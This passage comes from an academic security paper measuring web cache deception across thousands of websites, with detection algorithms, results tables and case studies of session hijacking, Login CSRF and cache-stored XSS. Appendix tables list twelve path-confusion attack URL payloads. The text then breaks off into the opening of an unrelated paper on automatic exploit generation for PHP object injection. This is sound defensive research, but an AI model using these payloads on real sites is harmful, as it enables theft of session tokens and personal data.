this is not an informed decision, it is still an explicit instruc-
tion. Regardless of the circumstances, DE would incorrectly
flag the situation as a successful WCD attack.

One advantage of DE over CC is that its false positives
can be identified and removed automatically, without human
analysis. This is a trivial check shown in Algorithm 2. Specif-
ically, we take each URL DE flags as vulnerable, request it
twice normally, without using a WCD payload, and use the
same header heuristics to test whether the second response
was served from the cache. A cache hit means that the URL
is still cached when there is no attack, hence a false posi-
tive. This check can also be integrated into our methodology
(Algorithm 1, lines 1-3) with no added traffic load.

Algorithm 2: Test if a DE finding is a false positive.
input :URL

1 result← get(URL);
2 result← get(URL);
3 if result.cache = HIT then
4 return False positive;
5 return True positive;

False Negatives. DE relies on cache status headers to de-
termine whether our WCD attempts indeed result in the pre-
requisite cache miss followed by a hit. Because cache status
reporting mechanisms are not standardized, servers may re-
turn headers unknown to DE, or no headers at all. Furthermore,
by design, DE does not authenticate to websites, and hence
cannot test pages behind authentication gates. As a result,
DE is bound to miss WCD vulnerabilities in the wild. The
impact of false negatives is not trivial to quantify; there exists
no ground truth. Thus, our results should be interpreted as a
lower bound on vulnerabilities.
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4 Comparative Evaluation

We now present the results of our first experiment, where
we run both DE and CC on a dataset of 404 websites for a
comparative evaluation.

4.1 DE with Authentication
In doing this exercise, we are primarily interested in under-
standing how our scheme compares to the marker injection
approach; however, there is a confounding factor in this exper-
iment: DE cannot access pages behind authentication gates,
whereas CC was specifically designed to test those pages
only. Therefore, in order to investigate both the impact of the
protocol change and authentication state on WCD detection
efficacy, we introduce a third methodology, called DEauth.

DEauth is a hybrid approach between DE and CC. It uses
our novel detection scheme at its core, but like CC, requires
an account to be manually created on the website so that the
attack URL is requested (Algorithm 1, lines 6-7) with valid
authentication cookies, simulating a logged in victim clicking
on the malicious link. There are no other changes; DEauth

probes the cache contents with an unauthenticated request
like before, simulating an attacker (Algorithm 1, line 9).

4.2 The Experiment
We implement CC as described by Mirheidari et al. [36] and
our two new schemes inside HTTP crawlers, and perform
one crawl with each for a total of three runs. We set up our
crawler to visit pages on any subdomain we may discover on
the target website, and test at most 500 URLs on each FQDN.

We test each page with 12 attack URLs utilizing distinct
WCD payloads. These include the original invalid path exten-
sion technique we illustrated in Figure 1, 4 path confusion
techniques Mirheidari et al. proposed that exploit URL encod-
ing discrepancies, and a further 7 novel encoding tricks we
devise. We do not aim to position these new techniques as a
scientific contribution; however, they are valuable for practi-
cal bug hunting situations. Readers can refer to Appendix A
for examples and a breakdown of our findings for each.

We draw our crawl seed pool of 404 websites from the
Alexa Top 100K. We choose these targets due to the marker
injection requirements/limitations of CC, by following the
general protocol described in “Cached and Confused”. Specif-
ically, we first crawl the front pages of Alexa Top 100K,
and identify websites that support standard Single Sign-On
schemes by searching for links containing keywords (e.g.,
login, register) and OAuth & OpenID Connect parameters.
We then manually filter out websites that require sensitive
credentials such as social security numbers or bank accounts
for account creation. We end up with 404 websites, create
accounts on them, inject markers into user-editable fields, and
collect session cookies for each to be used by CC and DEauth.

This process necessarily yields a data set that carries the same
biases as the one used in “Cached and Confused”; this is an-
other limitation of CC, and it has no material impact on our
comparative analysis.

We configure the DE and DEauth crawlers to record the
page differences during dynamic content checks for websites
flagged as vulnerable, so that we can scan these with regular
expressions to detect common categories of sensitive data that
may be leaked by the attack.

In all of our experiments, we flag a tested site as vulnerable
if it contains at least one URL impacted by WCD. We believe
this is the most relevant metric for our purposes that also sup-
ports our research goals. In practice, our crawler often finds
multiple vulnerable URLs on each target website. However,
without an in-depth manual analysis of each finding, we can-
not accurately determine whether these vulnerabilities truly
stem from distinct caching configuration issues, or whether
the different URLs in fact correspond to unique pages. This
analysis is not feasible or essential for our research.

4.3 Results
Table 2 shows the results of our experiments with each
methodology, where we detected a combined total of 123
websites vulnerable to WCD. Table 3 presents a breakdown
of the leaked data we found on these sites.

True Positives. The true positive findings confirm our hy-
pothesis: Markers are severely limiting as a WCD detection
approach. Even though our dataset is specifically biased to-
ward websites that must support marker injection, many oth-
erwise vulnerable pages did not reflect those markers. In fact,
CC could only test 244 (60.40%) of the websites, but the re-
maining did not have any pages with a marker present. As
a result, CC identified only 18 vulnerable websites in our
experiments, whereas DEauth and DE performed considerably
better at 115 and 104 hits respectively.

DEauth had a slight edge over DE. As one might expect,
the difference was due to the vulnerable pages behind au-
thentication gates, which DE cannot access. For example, we
manually confirmed that a vulnerable billing settings page on
a target website was detected by DEauth, but DE was redirected
to a secure login page when testing the same URL.

Likewise, CC found 7 vulnerabilities that DE missed thanks
to its access to authenticated pages; but, in addition, it caught
2 unique vulnerabilities that even DEauth missed. We verified
that in one case this was due to the target website returning
no cache status headers, defeating our new scheme. The other
case appears to be a vulnerability that was fixed between our
two experiment runs.

Finally, DE found 5 unique vulnerabilities that neither au-
thenticated approach identified. We verified that these cases
were due to the websites either explicitly sending cache con-
trol headers that prevent caching, or quietly ignoring all cache
directives, when we attached a cookie to the request. As we
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Table 2: WCD detection performance, i.e., the number of websites flagged as vulnerable, for each methodology. Percentages are
calculated over the entire crawl set of 404 sites.

CC DEauth DE Combined

Total Detections 21 (5.20%) 134 (33.17%) 129 (31.93%) 160 (39.60%)
True Positives 18 (4.46%) 115 (28.47%) 104 (25.74%) 123 (30.45%)
False Positives 3 (0.74%) 19 (4.70%) 25 (6.19%) 37 (9.16%)

Unique True Positives 2 (0.50%) 13 (3.22%) 5 (1.24%) —

Table 3: The number of vulnerable websites found to leak
common categories of sensitive data by each methodology.
There may be multiple leaks on a given website; columns do
not add up to totals. Percentages are calculated over the total
number of true positives for each methodology.

CC DEauth DE

CSRF Token 4 (22.22%) 35 (30.43%) 39 (37.50%)
CSP Nonce 0 (0.00%) 1 (0.87%) 1 (0.96%)
OAuth State 0 (0.00%) 3 (2.61%) 2 (1.92%)
Session ID 2 (11.11%) 3 (2.61%) 3 (2.88%)
Personal Information 18 (100.00%) 16 (13.91%) 0 (0.00%)

Total Leaks
Sensitive 18 (100.00%) 36 (31.30%) 39 (37.50%)
Potential — 56 (48.70%) 50 (48.08%)
Harmless — 23 (20.00%) 15 (14.42%)

discussed in Section 2, bypassing caching rules based on the
presence of authentication cookies is a common option web
caches provide to prevent hazardous caching. The unauthenti-
cated DE scheme successfully defeated that protection.

False Positives. Recall that the false positives of DE and
DEauth can be eliminated automatically. However, we choose
to present a clear breakdown of all false positives here to
highlight the differences between CC and our new schemes.
We apply our automated check to identify the false positives
for DE and DEauth, and perform a manual inspection of the
context around the reflected markers for CC.

DE and DEauth both had higher false positives compared to
CC. As discussed, this was due to their inability to distinguish
between explicitly and erroneously cached dynamic content.
While CC was more reliable in this department, some mark-
ers were indeed intentionally reflected in all responses from
the web application as we previously explained, and their
presence did not imply WCD. For example, one website pub-
licly listed its recent visitors, one of which was our marked
username. CC falsely flagged this as a vulnerability.

Leaks. To correctly interpret the data in Table 3, recall
that a WCD vulnerability can only result in a damaging data
leak if there is sensitive data on the page to begin with. In
our analysis, we found that some vulnerable websites did not
contain such data, and the dynamic content leaked in the cache
was harmless (e.g., timestamps, email obfuscation strings).
Other websites did contain seemingly-randomized values that

may potentially be sensitive, but these did not match any
patterns of common sensitive tokens. Unfortunately, we are
not in a position to reason about this potentially-sensitive
category without a white-box understanding of the impacted
websites’ backend logic. We reiterate that all cases still stem
from exploitable, true positive WCD findings, albeit some
without immediate consequences. We present a breakdown of
these totals at the bottom section of Table 3. Also note that, for
CC, detections are due to markers known to populate sensitive
fields, and therefore all findings are sensitive by definition.

The top slice of Table 3 presents a breakdown of the leaks
in the sensitive category, once again highlighting the differ-
ences between each approach. CC primarily detected personal
information leaks, but a small number of other security tokens
were present on the same vulnerable pages by happenstance.
DEauth also detected 16 out of these 18 leaks without relying
on markers, and myriad other sensitive leaks. DE performed
similarly well for security tokens, but could not find personal
information leaks without access to authenticated pages.

4.4 Summary

This experiment answers our first research question (Q1),
showing that the marker injection approach is limited by both
its attack surface coverage and the variety of leaks it can detect.
Overall, identicality and header heuristics enable considerably
better WCD detection. We also partially answer (Q3), demon-
strating that leaks of non-personal sensitive data with WCD
are practicable. We still need to investigate the implications
of this finding in the upcoming sections.

That being said, the idea of using an authenticated crawl-
ing approach still holds merit. Both CC and DEauth perform
well with detecting personal information leaks, whereas DE
is inherently unsuitable for the task. Where the setup over-
head is manageable (e.g., when penetration testing one’s own
environment), DEauth or perhaps a combination of all three
approaches would expose the most vulnerabilities.

Nevertheless, DE remains the only viable option for a large-
scale measurement, with its good detection performance and
zero setup overhead. Equipped with this knowledge, we pro-
ceed with our experiment on the Alexa Top 10K. The findings
in this section are already alarming, with 30.45% of our data
set containing WCD vulnerabilities – well above the estima-
tions in “Cached and Confused”.
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Table 4: The number of websites containing at least one WCD
vulnerability, and websites that leak common categories of
sensitive data. Percentages are calculated over the entire crawl
set of 10K sites.

Vulnerable Sites 1188 (11,88%)

CSRF Token 436 (36.70%)
CSP Nonce 13 (1.09%)
OAuth State 34 (2.86%)
Session ID 63 (5.30%)
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Figure 2: The distribution of vulnerable websites with respect
to their Alexa ranking in 1K bins.

5 Large-Scale Experiment with DE

We now present our final experiment, where we run DE on
the entire Alexa Top 10K, and describe concrete exploitation
scenarios demonstrating real-life impact.

5.1 The Experiment

This experiment generally follows the previously established
protocol, except for two important changes.

First, we enable the automated false positive filtering out-
lined in Algorithm 2, therefore eliminating all false positives
in our results. All numbers we report in this section represent
true, exploitable WCD vulnerabilities.

Second, we relax our definition of true positives by choos-
ing not to test pages containing known harmless dynamic
components. It is true that these pages may still be vulnerable
to WCD, and while that may not be an immediate threat today,
it may lead to a real-life exploit if the page is updated with
sensitive content in the future. However, we opt to forgo test-
ing these as a performance trade-off due to the limitations of
our crawler resources and to minimize the traffic we generate.
Specifically, during Step 1 of DE, we apply pattern matches on
the dynamic components we find during identicality checks.
If we detect a known email obfuscation mechanism, web ana-
lytics script, Edge Side Includes tag, timestamp, or error page
that reflects our WCD payload, we conclude that the content
is non-sensitive, and abort the test.
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Figure 3: Content categories for the vulnerable websites. A
website may be labeled with multiple categories.

5.2 Results

Table 4 shows our findings. As a result of the aforementioned
changes to the experiment protocol, we no longer need to
report false positives or harmless data leaks – all flagged web-
sites have true positive findings, and leak known or potentially
sensitive values. We also do not have personal information
leaks as DE cannot automatically detect them; however, we
will demonstrate later that these findings assist us in finding
personal information leaks upon further analysis.

1188 websites among the Alexa Top 10K contain WCD vul-
nerabilities. This 11.88% incidence is significantly lower than
the 30.45% we observed in the previous experiment; but we
emphasize that the two results are not comparable. The previ-
ous dataset is non-uniformly drawn from the Alexa Top 100K
based on the viability of marker injection; it is heavily biased.
This larger dataset and the experiment have fundamentally
different characteristics. Here, we study the most popular 10K
websites likely to attract more attention from bounty hunters
and attackers, and therefore discover and mitigate their vul-
nerabilities quickly. We also filter out the harmless leaks and
report a looser lower-bound on vulnerabilities.

Figure 2 presents the distribution of vulnerable websites
with respect to their Alexa ranks, exhibiting a fairly uniform,
rectangular shape with a slight right skew. This suggests that
WCD is pervasive among the websites in our dataset with no
strong connection to their popularity ranking.

Figure 3 shows a breakdown of the vulnerable website
content categories, as determined by multiple domain classifi-
cation services and aggregated by us. These services perform
a fuzzy classification, and we only report percentages to avoid
giving the impression that the categories are definitive. Ap-
proximately a quarter of impacted websites involve financial
data and transactions, suggesting WCD may cause direct mon-
etary loss. Another quarter includes cloud service providers
and software vendors, showing that attacks could have far-
reaching consequences via supply chain attacks. News outlets,
wikis, blogs, and document stores appear to be disproportion-
ately impacted; this might be a consequence of their hosting
large static objects, and hence heavy cache use.
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6 Security Impact & Case Studies

Our findings already imply that the leaked sensitive tokens
may be abused by an attacker to break the security mecha-
nisms each support. For instance, leaked CSRF tokens enable
confused deputy attacks, CSP nonces break defenses against
inline JavaScript inclusions, and OAuth state parameters &
session IDs enable hijacking victim accounts or stealthily
logging victims into attacker-controlled accounts.

However, the implications of our findings extend beyond
these basic attacks. In this section, we present real-life case
studies drawn from our experiment, and provide insights into
the less obvious damage potential of WCD. These discussion
points also enable us to affirmatively answer our final research
question (Q3), demonstrating that WCD has ramifications
distinct from personal information leaks.

Due to the excessive number of vulnerabilities we identi-
fied, it is not feasible to investigate all findings systematically.
The below scenarios represent an arbitrary list of real-world
attacks that nevertheless demonstrate the severity of WCD.
We chose these particular targets for manual exploration mo-
tivated by the website owners’ presence on vulnerability man-
agement platforms, so that we could rapidly communicate
and help mitigate any issues. All attacks described below
were carried out with a test user, no actual Internet users were
targeted or harmed.

Leaked Tokens Lead to Standard Attacks. We first de-
scribe two representative attacks made possible by stealing
the sensitive tokens listed in Table 4 via WCD to give readers
assurance that the impact is practical.

We found a popular travel & lodging reservation platform
to leak session IDs. We were successfully able to use this
stolen token to hijack customer service chat sessions of an
unauthenticated user. The same attack translated to authenti-
cated users as well; when a logged-in user visited the WCD
exploit link, we were able to hijack their entire session and
access complete booking details.

In another instance, we identified that the error pages on
Mozilla Thunderbird’s add-ons portal were vulnerable, and
they contained registration and login links with OAuth state
parameters. By stealing this value we launched a Login CSRF
attack [46], which allowed us to trick a victim into unknow-
ingly logging into an account we controlled, hence enabling us
to view their activity and the information they enter. Mozilla
fixed the issue within 24 hours of our notification.

These attacks demonstrate that sensitive token leaks on
publicly accessible pages pose a real threat to unauthenticated
visitors of a website as well as logged in users. As an addi-
tional empirical observation, a plethora of other traditional
CSRF and session hijacking attacks were possible via WCD,
but we noticed that damage was sometimes contained thanks
to layered defenses such as referrer checks and captchas. This
once again highlights the importance of a defense-in-depth
strategy for practical web security.

WCD Leads to Cache Poisoning. WCD is a specialized
subcategory of cache poisoning attacks, where a cache is
tricked into storing and leaking sensitive data. That being
said, the underlying mechanism for exploitation remains the
same for all such cache attacks: content is erroneously cached.
This implies that the vulnerable websites we detected may
be exposed to other varieties of cache attacks, regardless of
whether they immediately leak any sensitive data.

We found one such instance to impact a major American
payment processor. Many pages on this website were im-
pacted by a reflected cross-site scripting (XSS) vulnerability,
where the value of the X-Forwarded-Host header included in
requests was printed on the page without output sanitization.
This enabled arbitrary script injection attacks.

As with many reflected XSS attacks, the avenues for ex-
ploitation would normally be limited. However, this website
was also vulnerable to WCD. An attacker could combine the
two vulnerabilities, and consequently cause the fronting cache
to store the response together with the reflected XSS payload.
This escalates the attack to a stored XSS, where the injected
malicious payload is now automatically served from the cache
to unsuspecting clients visiting the website.

This attack illustrates that WCD has dire consequences
even when the website has no sensitive data to leak. Iden-
tifying such caching hazards is key to preventing complex,
non-obvious system issues that may be lying dormant.

Token Leaks Correlate to Personal Information Leaks.
DE is not designed to catch personal information leaks. How-
ever, our manual analysis shows that the presence of a WCD
vulnerability on a public page is often indicative of more
WCD issues that impact pages protected behind authentica-
tion gates, and therefore endanger personal information, too.

While we cannot scientifically quantify the incidence or
reasons without a dedicated study, one intuitive explanation
is that there is no fundamental difference between caching
misconfigurations that lead to WCD vulnerabilities affecting
authenticated and unauthenticated victims. Thus, a caching
rule that leads to erroneous content storage on a public page
may enable the same attack on a protected page in the absence
of a session or cookie-based cache bypass mechanism.

We selected 55 websites flagged by DE that support user
accounts, implying that they contain personal information.
We created test accounts on these websites, and attempted
WCD attacks on pages that require authentication for access.
In 10 out of 55 cases, we were successfully able to cause
personal information fields to get cached. To provide insights
into the type of information that could be leaked, these were
well-known websites including a domain registrar, a travel
reservation platform, a job application & company review
portal, an online course provider, a security product vendor,
and a cryptocurrency exchange.

While this is not conclusive evidence, 18% is a non-
negligible success rate. This suggests that our approach of
detecting WCD vulnerabilities by performing checks on pub-

USENIX Association 31st USENIX Security Symposium    189



licly accessible pages do not completely forfeit the oppor-
tunity to detect personal information leaks. Website owners
should carefully examine vulnerabilities lest they remain ex-
ploitable in different authentication contexts.

WCD Poses a Supply Chain Issue. Recently, highly-
publicized cybercrime campaigns such as the Magecart at-
tacks [45] and the SolarWinds incident [45] have put a spot-
light on supply chain attacks, alerting the security community
to the widespread damage one vulnerable supplier or ven-
dor may cause to the Internet ecosystem. In our experiment,
we found that supply chain attacks are not limited to the tra-
ditional malicious code inclusion vectors, and that a single
vulnerable online service provider with a caching hazard can
expose many websites to WCD.

We identified a multitude of vulnerable URLs in our re-
sults that share an identical subdomain and similar path com-
ponents (i.e., support.example.com/common-pattern). Upon
manual inspection, we determined these pages to be integra-
tion points with a popular customer service and support man-
agement platform. Due to the WCD vulnerabilities present
on this vendor’s platform, many (or, potentially all) of their
customers were also impacted under their respective domains.
To demonstrate the weight of the issue, 399 out of the 1188
websites we flagged were expressly due to this vulnerability,
and 57 websites were impacted by it in addition to other WCD
vectors, bringing the total to an astounding 456.

We found similar cases, involving three vendors providing
customer community management, social media integration,
and discussion board services. These were less prevalent in
our findings, each impacting less than 10 websites. Nonethe-
less, this illustrates that WCD exhibiting itself as a supply
chain vulnerability is not an isolated incident. As evidenced
by the alarming numbers, the security community would ben-
efit from investigating supply chain attacks in a broader scope
in the face of novel web cache attacks.

7 Bounty Hunting with WCD

All of the WCD vulnerabilities we have reported in this work
are exploitable, causing unintended content leaks into a public
cache. However, a working exploit does not always equate
to real-life damage; for instance, the vulnerable website may
not process any sensitive data. Beyond the case studies we
discussed above, we do not aim to measure such damage at
scale in this work – that requires a manual analysis of each
application and its data. However, we present a final empiri-
cal study to provide insights into the incidence of damaging
exploits, and how vulnerable websites mitigate damage.

We perform this study on a separate dataset of 48 random
vulnerable websites identified by running DE on domains
listed on the bug bounty platforms Hackerone, BugCrowd,
Intigriti, and YesWeHack. This is not an arbitrary choice;
obtaining the evidence we seek requires active exploitation
of websites which provide a safe harbor for such testing in

their infrastructure and reward bounties for damages that they
acknowledge as real. We limit the scope by allowing DE to
crawl a maximum of 50 pages on each website, and all manual
analysis is performed by one researcher capped at a few hours
of work. Therefore, readers should interpret our findings as
the result of a best-effort attempt, but not a comprehensive
penetration test.

Out of the 48 vulnerable websites, we were able to launch
damaging attacks on 9. These are similar to the case studies
described above, and we omit their detailed discussion. 4
vendors paid out bounties, 2 acknowledged the issues but
informed that another researcher reported it earlier, and the
remaining 3 are still under evaluation.

Below is a breakdown of the reasons why we could not
escalate the remaining WCD exploits to a damaging attack.

We were able to fully analyze the context around 24 web-
sites, but there was no data valuable for an attacker. Another
10 websites did not allow us to explore the entire application,
either disallowing public account creation, or requiring pri-
vate information (e.g., a social security number) to proceed.
We only analyzed these partially, and found no valuable data.

3 websites leaked sensitive tokens, but this was not suffi-
cient on its own. For example, a CSRF attack was stopped
thanks to layered defenses of referrer checks and captchas; a
CSP nonce leak was useless as there was no XSS vulnerability
to abuse it. 2 websites pulled sensitive data over an API at the
browser side, therefore nothing damaging was cached.

This is decidedly a limited view into how WCD exploits
escalate into end-to-end attacks. In an adversarial scenario,
attacks may also be impeded by short cache eviction times,
and cache locality in the case of distributed caches, as previ-
ously measured in “Cached and Confused”. Regardless, we
hope these added insights help qualify the core findings in
our large-scale experiment. Not every instance of WCD is an
immediate threat; however, they are still exploitable vulnera-
bilities exposing applications to unpredictable risks.

8 Ethical Considerations

No Harm to Users or the Internet. We carefully designed
the methodologies and experiments in this paper to prevent a
negative security impact on the tested websites or their users.

In particular, we never poison caches with malicious con-
tent, and never target Internet users with WCD. The personal
information leaks explored in the paper are our own markers,
and other sensitive tokens are the secrets that websites gen-
erate for our own test clients. In all case studies we play the
role of the victim and attacker; we never target other users or
launch exploits that persistently impact the target websites.

Furthermore, our path confusion techniques utilize random-
ized file names, meaning that cache keys corresponding to the
erroneously cached content cannot feasibly be predicted or
accidentally accessed by others. This is an added safeguard
against confusing the websites’ users. Even if the caches were
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accessible, there would be no danger to users; we never inject
malicious payloads into the caches in the first place.

Coordinated Disclosure. We are committed to following
coordinated disclosure procedures that exceed the established
best practices. Unfortunately, with thousands of findings, espe-
cially those involving systematic issues that cannot be solved
by deploying a common patch and therefore are out of scope
for CERT assistance, this is not a straightforward process. The
infeasibility of common approaches to large-scale vulnerabil-
ity disclosures were documented in literature [34, 43, 44].

We adopted the guidance in the above literature to reach
out to as many impacted parties as possible. We collected
security contacts that were 1) disclosed on vulnerability man-
agement and bug bounty platforms, 2) compiled into open-
source security lists, 3) found in WHOIS records, 4) published
on the homepages of vulnerable websites. For the remaining
529 websites we could not identify a security contact for, we
emailed the generic inboxes security@ and privacy@.

These exhaust the viable options available to us. The cases
that may not be covered by the above require deep exploration
of the website or filling out non-automatable forms, which
we could only do on a best-effort basis.

We began notifications promptly after finalizing the experi-
ments, and gave website owners over 3 months to implement
mitigations before a public disclosure. Our notification emails
included our affiliation, a summary of WCD and our experi-
ments, and a report of the findings pertinent to each party.

9 Discussion & Conclusion

We directly tackled the limitations of the state-of-the-art ap-
proach in WCD vulnerability detection, subsequently conduct-
ing the largest-scale WCD measurement over 10K websites.

Let’s revisit our research questions and summarize findings.

• (Q1) We demonstrated through our comparative experi-
ment that our new methodology DE addresses both the
coverage (P1) and scalability problem (P2), and it can
indeed significantly outperform CC. However, we also
showed that CC and the authenticated variation of our
scheme, DEauth, open up opportunities to identify addi-
tional vulnerabilities. Where scalability is not a concern,
a combination approach is ideal.

• (Q2) We showed with our large-scale experiment that
over 4 years after the conception of the attack, and 2
years after the experiments in “Cached and Confused,”
WCD is still distressingly pervasive. This aligns with the
popularity of the attack on bug bounty platforms – and
likely miscreant activity that goes unnoticed.

• (Q3) Our experiments and case studies illustrated that
there is an abundance of sensitive security tokens present
on publicly accessible pages, which can be stolen via

WCD to bypass standard defenses and facilitate real-
life attacks. Many websites that leak such tokens are
evidently impacted by WCD in more than one way, ex-
posing flaws that lead to further attacks and leaks. These
observations, combined with the significant performance
advantage of DE over CC, suggest that focusing on per-
sonal information sources and sinks for WCD detection
is not the most effective detection strategy, even when
testing individual websites in a controlled setting.

Our findings sufficiently address the research questions
we set out to explore, and we contribute novel insights into
the scale and impact of the problem. The methodology we
present will help website owners test their own systems for
vulnerabilities, and researchers to run experiments with ambi-
tious scopes. However, another implication of this work is that
attackers, too, can quickly identify vulnerabilities en masse.
WCD, and web cache attacks in general, require immediate
attention from the security community for a robust solution.

Before we conclude, we reiterate that WCD is a system
problem. Individual components such as the clients, web
servers, proxy services, or CDN providers are not necessarily
faulty in isolation; their complex interactions give rise to un-
expected and dangerous caching decisions. One corollary of
these circumstances is that our findings do not implicate the
developers and operators of these individual components. But,
perhaps the more critical take away is that website owners can-
not rely on traditional vulnerability management and software
testing processes to eradicate these vulnerabilities – there is
often no unit test to run, no signature to check, no CVE to
track, and no patch to deploy. It is not yet clear whether map-
ping complex traffic flows and analyzing them holistically
for cache attacks is feasible, or even possible. That remains
an open challenge for the security research community, and
in light of the resurging popularity of web cache attacks, we
believe it has already become a pressing line of investigation.

In the meantime, our work presents one key takeaway for
website owners who are inevitably getting more familiar with
the escalating web cache attacks: CDNs and caching proxies
are powerful technologies in an already complex ecosystem.
Simple caching rules can have far-reaching effects, and mak-
ing assumptions about the cacheability of objects based on
their public exposure to the Internet alone is, evidently, unsafe.
Website owners should carefully consider (and test) the secu-
rity implications of changes to their caching infrastructure,
and exercise caution when using blanket rules such as those
that cache all objects served from a given endpoint or all files
with a given extension.
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A Path Confusion Techniques

Table 5 presents examples for each path confusion technique
we use when crafting the attack URLs in our comparative
evaluation, and a breakdown of the findings for each. Table 6

shows a similar summary for the large-scale experiment.
Path Parameter refers to the original WCD technique pro-

posed by Omer Gil, and the remaining 4 encoding techniques
listed in the first group of rows were presented by Mirhei-
dari et al. in their paper “Cached and Confused”. The second
group contains 7 additional path confusion techniques we
propose here. While there are overlaps between the websites
each technique can exploit, combining all 12 greatly increases
the chances of exposing WCD vulnerabilities.

Disclaimer

The authors Seyed Ali Mirheidari and Kaan Onarlioglu are
affiliated with Splunk Inc. and Akamai Technologies Inc.,
respectively, at the time of this publication. However, this
research is not sponsored or carried out by either company.
The work and results we present in this paper do not use
any internal or proprietary company information, or any such
information pertaining to the companies’ customers.
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Table 5: The number of vulnerable websites detected via each path confusion variation over 404 targets in our comparative
experiment. The middle rule separates the previously known variations above from the new ones we introduce in this research
below. Percentages are calculated over the total number of true positives for each methodology.

Path Confusion Technique Example CC DEauth DE

Path Parameter example.com/profile/not_a_file.css 13 (72.22%) 63 (54.78%) 62 (59.62%)
Encoded Newline example.com/profile%0Anot_a_file.css 7 (38.89%) 90 (78.26%) 90 (86.54%)
Encoded Question Mark example.com/profile%3Fname=valnot_a_file.css 8 (44.44%) 89 (77.39%) 87 (83.65%)
Encoded Semicolon example.com/profile%3Bnot_a_file.css 9 (50.00%) 90 (78.26%) 90 (86.54%)
Encoded Sharp example.com/profile%23not_a_file.css 9 (50.00%) 89 (77.39%) 88 (84.62%)

Encoded Slash example.com/profile%2Fnot_a_file.css 8 (44.44%) 94 (81.74%) 96 (92.31%)
Double Encoded Newline example.com/profile%25%30%41not_a_file.css 7 (38.89%) 90 (78.26%) 87 (83.65%)
Double Encoded Null example.com/profile%25%30%30not_a_file.css 6 (33.33%) 87 (75.65%) 85 (81.73%)
Double Encoded Question Mark example.com/profile%25%33%46not_a_file.css 8 (44.44%) 90 (78.26%) 86 (82.69%)
Double Encoded Semicolon example.com/profile%25%33%42not_a_file.css 9 (50.00%) 89 (77.39%) 84 (80.77%)
Double Encoded Sharp example.com/profile%25%32%33not_a_file.css 8 (44.44%) 89 (77.39%) 86 (82.69%)
Double Encoded Slash example.com/profile%25%32%46not_a_file.css 7 (38.89%) 84 (73.04%) 88 (84.62%)

Table 6: The number of vulnerable websites detected via each path confusion variation in the large-scale measurement over
the Alexa Top 10K. The middle rule separates the previously known variations above from the new ones we introduce in this
research below. Percentages are calculated over the total number of findings.

Path Confusion Technique Example DE

Path Parameter example.com/profile/not_a_file.css 618 (52.02%)
Encoded Newline example.com/profile%0Anot_a_file.css 528 (44.44%)
Encoded Question Mark example.com/profile%3Fname=valnot_a_file.css 801 (67.42%)
Encoded Semicolon example.com/profile%3Bnot_a_file.css 863 (72.64%)
Encoded Sharp example.com/profile%23not_a_file.css 526 (44.28%)

Encoded Slash example.com/profile%2Fnot_a_file.css 559 (47.05%)
Double Encoded Newline example.com/profile%25%30%41not_a_file.css 383 (32.24%)
Double Encoded Null example.com/profile%25%30%30not_a_file.css 349 (29.38%)
Double Encoded Question Mark example.com/profile%25%33%46not_a_file.css 387 (32.58%)
Double Encoded Semicolon example.com/profile%25%33%42not_a_file.css 402 (33.84%)
Double Encoded Sharp example.com/profile%25%32%33not_a_file.css 386 (32.49%)
Double Encoded Slash example.com/profile%25%32%46not_a_file.css 365 (30.72%)
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Abstract
A PHP object injection (POI) vulnerability is a security-
critical bug that allows the remote code execution of class
methods existing in a vulnerable PHP application. Exploit-
ing this vulnerability often requires sophisticated property-
oriented programming to shape an injection object. Existing
off-the-shelf tools focus only on identifying potential POI
vulnerabilities without confirming the presence of any exploit
objects. To this end, we propose FUGIO, the first automatic
exploit generation (AEG) tool for POI vulnerabilities. FUGIO
conducts coarse-grained static and dynamic program analyses
to generate a list of gadget chains that serve as blueprints for
exploit objects. FUGIO then runs fuzzing campaigns using
these identified chains and produces exploit objects. FUGIO
generated 68 exploit objects from 30 applications containing
known POI vulnerabilities with zero false positives. FUGIO
also found two previously unreported POI vulnerabilities with
five exploits, demonstrating its efficacy in generating func-
tional exploits.

1 Introduction

A PHP object injection (POI) vulnerability is a security-
critical PHP application bug [46] that enables diverse attacks,
including cross-site scripting, SQL injection, and arbitrary
file deletion. PHP supports the functionality of deserializing
a string into a PHP object to facilitate the management of
run-time objects. When exploiting a POI vulnerability, an
adversary targets this functionality; the adversary passes a
forged string into a deserialization function call, thus injecting
an arbitrary PHP object into the target application scope.

A unique aspect of this attack is that the adversary should
alter the properties and structures of the PHP object to invoke
a series of user-defined functions or class methods, thereby
allowing various types of web attacks. The technique used
in composing this exploit object is called property-oriented
programming (POP).

∗Both authors contributed equally to the paper
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[“path”] => “FILE_PATH”
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Figure 1: A high-level overview of POP

Figure 1 depicts a high-level overview in which the adver-
sary performs POP for arbitrary file deletion. The left side of
the figure shows two legitimate call stacks that a target appli-
cation implements. The right side shows a new stack trace
that the adversary composes using POP, which the target ap-
plication does not implement. After injecting the class object
on the right side, the target application executes this new stack
trace, thus deleting the file that the adversary chooses. The
adversary connects two stack traces by injecting an object of
which the node property has a File class object and feeds a
file path by changing the path property. This new stack trace
is called a POP chain, which invokes a series of user-defined
existing class methods or functions.

The presence of a deserialization invocation with unsani-
tized user input merely poses a potential threat, whereas the
existence of an actual exploit object poses a critical security
threat. However, existing web scanning tools [32, 50, 58] only
report potential POI vulnerabilities that merely deserialize
user input. Unfortunately, generating exploit objects via POP
requires a significant amount of human effort and expertise.
However, there is no practical alternative for confirming the
exploitability of such potential POI vulnerabilities.
Contributions. We propose FUGIO, the first automatic ex-
ploit generation (AEG) tool designed to find POI vulnerabili-
ties and generate exploits for the identified vulnerabilities.

AEG for POI vulnerabilities requires addressing two chal-
lenges: 1) it is necessary to identify available POP chains that
consist of user-defined methods and functions called gadgets
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while considering the availability of these gadgets and their
caller-callee relationships; and 2) for each identified chain,
it should shape an injection object by properly setting not
only the object hierarchy but also its multiple properties, thus
following the execution flow that this POP chain specifies.

We choose to tackle AEG for POI bugs with feedback-
driven targeted fuzzing aided by static and dynamic analyses.
Specifically, FUGIO addresses both of the following chal-
lenges: 1) FUGIO identifies all POP chains by analyzing
dynamically generated classes as well as statically defined
classes and prunes unavailable gadgets when triggering a tar-
get POI vulnerability; and 2) FUGIO generates exploit objects
that follow the execution of identified chains by conducting
feedback-driven fuzzing on a debloated PHP application.

Given the source code of a target PHP application, FUGIO
starts by collecting all class and function information via
static analysis to identify all available gadgets. It also collects
dynamically generated classes and functions when the POI
vulnerability is triggered via dynamic analysis, thus allowing
FUGIO to consider a comprehensive POP chain set.

Based on both of the analyses, FUGIO identifies feasible
POP chains and generates a program under testing (PUT)
that embodies all gadgets. When composing the PUT, it mim-
ics the execution environment in which the vulnerability is
